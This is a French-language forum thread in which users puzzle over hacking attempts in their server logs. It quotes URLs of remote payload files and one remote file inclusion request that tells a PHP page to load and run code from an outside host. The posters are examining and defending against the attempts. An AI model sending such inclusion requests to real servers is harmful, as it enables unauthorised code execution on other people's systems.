Didix > c'est plutot à l'usage des serveurs, ou ces pignoufs imaginent que une page venant de tatawine les bains serait récupérée, intégrée à la page et exécutée ainsi!

NOD32 gueule quand j'essaie de voir cette page, il me la bloque

Comment que ça ce fait-il un truc comme ca ?
Ca se règle ou, comment ?

max> J'ai eu une autre tentative y pas longtemps, un .be

C'est wordpress celui qui est visé.


Bizarre les domaines vérolés, ils ne sont pas en .be (pourtant j'ai lu un article qui dit ....)




pour plus de sureté chez moi, lynx, wget en zo ne sont pas accessible à www-data.

On dirais qu'il essaye d'exec celui la : http://www.yenzero.com/wp-admin/borek.txt

C'marrant, je comprends (plus) rien à ces histoires/logs/tentatives/*

http://www.yenzero.com/wp-admin/cmd2.txt

Encore de la lecture

Tiens sfun, en jetant un oeil à 2-3 logs, je vois qu'ils essaient de balancer des urls avec des bots... Mouarf... Ils ont pas peur les gars

Les ips clairement des machines vérolées:
dns1.deals4.net
port-135.compila.th.newnet.co.uk
server2.itaw.de

http://www.informaticien.be/index.php?externalConfig=http://www.yenzero.com/wp-admin/c.in??

Marrant à lire la tentative de hack
http://www.yenzero.com/wp-admin/c.in

Bon déjà DLC je suis en safe mode, mais en plus j'utilise pas le CMS ou le forum kivamal
Me demande d'ailleurs lequel est visé